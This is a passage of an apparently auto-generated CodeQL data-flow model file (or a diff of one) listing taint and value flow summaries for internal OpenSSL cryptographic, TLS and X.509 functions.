True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[3]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_decrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_do_sign", "(const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*1].Field[*md_size]", "Argument[*4].Field[**C3].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[*2]", "Argument[*4].Field[**C2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[2]", "Argument[*4].Field[**C2].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[3]", "Argument[*4].Field[**C2].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_encrypt", "(const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_internal_sign", "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_internal_verify", "(const unsigned char *,int,const unsigned char *,int,EC_KEY *)", "", "Argument[*4].Field[*pub_key]", "Argument[*4].Field[**pub_key]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_internal_verify", "(const unsigned char *,int,const unsigned char *,int,EC_KEY *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm2_plaintext_size", "(const unsigned char *,size_t,size_t *)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_block_data_order", "(SM3_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_block_data_order", "(SM3_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_final", "(unsigned char *,SM3_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_transform", "(SM3_CTX *,const unsigned char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_transform", "(SM3_CTX *,const unsigned char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_sm3_update", "(SM3_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_update", "(SM3_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm3_update", "(SM3_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*2].Field[*rk]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_decrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[*2].Field[*rk]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_encrypt", "(const uint8_t *,uint8_t *,const SM4_KEY *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_set_key", "(const uint8_t *,SM4_KEY *)", "", "Argument[*0]", "Argument[*1].Field[*rk]", "taint", "dfc-generated"] + - ["", "", True, "ossl_sm4_set_key", "(const uint8_t *,SM4_KEY *)", "", "Argument[0]", "Argument[*1].Field[*rk]", "taint", "dfc-generated"] + - ["", "", True, "ossl_spki2typespki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_spki2typespki_der_decode", "(unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new", "(SSL_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new_int", "(SSL_CTX *,SSL *,const SSL_METHOD *)", "", "Argument[*2]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new_int", "(SSL_CTX *,SSL *,const SSL_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_connection_new_int", "(SSL_CTX *,SSL *,const SSL_METHOD *)", "", "Argument[2]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[*2]", "Argument[*0].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[2]", "Argument[*0].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_init", "(SSL *,SSL_CTX *,const SSL_METHOD *,int)", "", "Argument[3]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[**2]", "Argument[*0].Field[*rlayer].Field[***rlarg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[*rlayer].Field[**custom_rlmethod]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[*2]", "Argument[*0].Field[*rlayer].Field[**rlarg]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*custom_rlmethod]", "value", "dfc-generated"] + - ["", "", True, "ossl_ssl_set_custom_record_layer", "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)", "", "Argument[2]", "Argument[*0].Field[*rlayer].Field[*rlarg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_client_max_message_size", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*max_cert_list]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_client_process_message", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_statem_fatal", "(SSL_CONNECTION *,int,int,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_get_in_handshake", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*statem].Field[*in_handshake]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_get_state", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*statem].Field[*hand_state]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_send_fatal", "(SSL_CONNECTION *,int)", "", "Argument[1]", "Argument[*0].Field[*s3].Field[*send_alert]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_server_max_message_size", "(SSL_CONNECTION *)", "", "Argument[*0].Field[*max_cert_list]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_server_process_message", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_statem_set_in_init", "(SSL_CONNECTION *,int)", "", "Argument[1]", "Argument[*0].Field[*statem].Field[*in_init]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[**3]", "Argument[*0].Field[*statem].Field[***mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[*3]", "Argument[*0].Field[*statem].Field[**mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*statem].Field[*mutate_handshake_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*statem].Field[*finish_mutate_handshake_cb]", "value", "dfc-generated"] + - ["", "", True, "ossl_statem_set_mutator", "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)", "", "Argument[3]", "Argument[*0].Field[*statem].Field[*mutatearg]", "value", "dfc-generated"] + - ["", "", True, "ossl_statm_get_rtt_info", "(OSSL_STATM *,OSSL_RTT_INFO *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_statm_update_rtt", "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)", "", "Argument[1].Field[*t]", "Argument[*0].Field[*rtt_variance].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_statm_update_rtt", "(OSSL_STATM *,OSSL_TIME,OSSL_TIME)", "", "Argument[1].Field[*t]", "Argument[*0].Field[*smoothed_rtt].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_store_handle_load_result", "(const OSSL_PARAM[],void *)", "", "Argument[*1].Field[*v]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_store_handle_load_result", "(const OSSL_PARAM[],void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_store_loader_get_number", "(const OSSL_STORE_LOADER *)", "", "Argument[*0].Field[*scheme_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_dinit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_einit", "(void *,const unsigned char *,size_t,const unsigned char *,size_t,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[4]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_get_params", "(OSSL_PARAM[],unsigned int,uint64_t,size_t,size_t,size_t)", "", "Argument[5]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[*0].Field[*libctx]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[*6]", "ReturnValue[*].Field[**hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[1]", "ReturnValue[*].Field[*mode]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[2]", "ReturnValue[*].Field[*keylen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[3]", "ReturnValue[*].Field[*blocksize]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[4]", "ReturnValue[*].Field[*ivlen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tdes_newctx", "(void *,int,size_t,size_t,size_t,uint64_t,const PROV_CIPHER_HW *)", "", "Argument[6]", "ReturnValue[*].Field[*hw]", "value", "dfc-generated"] + - ["", "", True, "ossl_tdes_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tls_add_custom_ext_intern", "(SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *)", "", "Argument[*0].Field[**cert].Field[*custext]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_tls_handle_rlayer_return", "(SSL_CONNECTION *,int,int,char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_tls_rl_record_set_seq_num", "(TLS_RL_RECORD *,const unsigned char *)", "", "Argument[*1]", "Argument[*0].Field[*seq_num]", "value", "dfc-generated"] + - ["", "", True, "ossl_tls_rl_record_set_seq_num", "(TLS_RL_RECORD *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*seq_num]", "taint", "dfc-generated"] + - ["", "", True, "ossl_to_hex", "(char *,uint8_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_to_hex", "(char *,uint8_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tolower", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_toupper", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519_public_from_private", "(uint8_t[32],const uint8_t[32])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519_public_from_private", "(uint8_t[32],const uint8_t[32])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_add_cert_new", "(stack_st_X509 **,X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_add_cert_new", "(stack_st_X509 **,X509 *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_add_cert_new", "(stack_st_X509 **,X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_add_certs_new", "(stack_st_X509 **,stack_st_X509 *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_md_to_mgf1", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_md_to_mgf1", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_md_to_mgf1", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_new_from_md", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[*1]", "Argument[*0].Field[**current_cert]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[1]", "Argument[*0].Field[*current_cert]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[2]", "Argument[*0].Field[*current_cert]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[2]", "Argument[*0].Field[*error_depth]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_likely_issued", "(X509 *,X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ossl_x509_likely_issued", "(X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_print_ex_brief", "(BIO *,X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_print_ex_brief", "(BIO *,X509 *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", 